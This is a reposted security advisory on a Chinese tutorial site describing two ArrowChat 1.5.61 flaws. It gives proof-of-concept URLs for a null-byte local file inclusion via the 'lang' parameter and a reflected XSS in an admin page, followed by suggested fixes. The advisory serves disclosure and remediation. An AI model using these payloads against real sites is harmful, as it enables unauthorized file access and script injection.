好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

ArrowChat 1.5.61多重缺陷 - 网站安全 - 自学php

标题: ArrowChat <=~ 1.5.61  Multiple vulnerabilities

作者: Kallimero

测试系统: Debian

 

简介

============

 

ArrowChat is a chat script, which is able to be integrate in various CMS,

as wordpress, or some bulletin boards.

 

 

缺陷分析

========

 

 

1- ) Local File Inclusion

 

 

external.php let us load langage, but not a secure way.

 

---------------[external.php]---------------

 

// Load another language if lang GET value is set and exists

if (var_check('lang'))

{

    $lang = get_var('lang');

 

    if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR .

AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .

$lang . ".php"))

    {

        include (dirname(__FILE__) . DIRECTORY_SEPARATOR .

AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .

$lang . ".php");

    }

}

---------------[index.php]---------------

 

Thanks to the nullbyte tricks we'll be able to include any php file, like

that :

 

http://HdhCmsTest2cto测试数据 /[path]/external.php?lang=path/to/file%00&type=djs

 

2- ) reflected XSS

 

The administration layout is accessible for anyone. Even if we can't exec

the php code of the admin, we can inject html thanks to $_SERVER[' PHP _SELF']

 

 

Example :

-------[admin/layout/pages_general.php]-----

 

<form method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>?do=<?php

echo $do; ?>" enctype="multipart/form-data">

----------------------------------

 

PoC:

http://

[site]/[path]/admin/layout/pages_general.php/'"/><script>alert(1);</script>

 

 

How to Fix ?

============

 

 To fix the LFI, you can replace it with :

 // Load another language if lang GET value is set and exists

 

if (var_check('lang'))

{

    $lang = get_var('lang');

    if(preg_match("#^[a-z]{2,5}$#i", $lang)){

        if (file_exists(dirname(__FILE__) . DIRECTORY_SEPARATOR .

AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .

$lang . ".php"))

        {

            include (dirname(__FILE__) . DIRECTORY_SEPARATOR .

AC_FOLDER_LANGUAGE . DIRECTORY_SEPARATOR . $lang . DIRECTORY_SEPARATOR .

$lang . ".php");

        }

    }

}

 

lang will be include only if it's a valid lang file.

 

For the XSS's, you can use a .htaccess to protect the layout directory, and

use html entities to avoid the html inj'.

 

 

查看更多关于ArrowChat 1.5.61多重缺陷 - 网站安全 - 自学php的详细内容...

  阅读:50次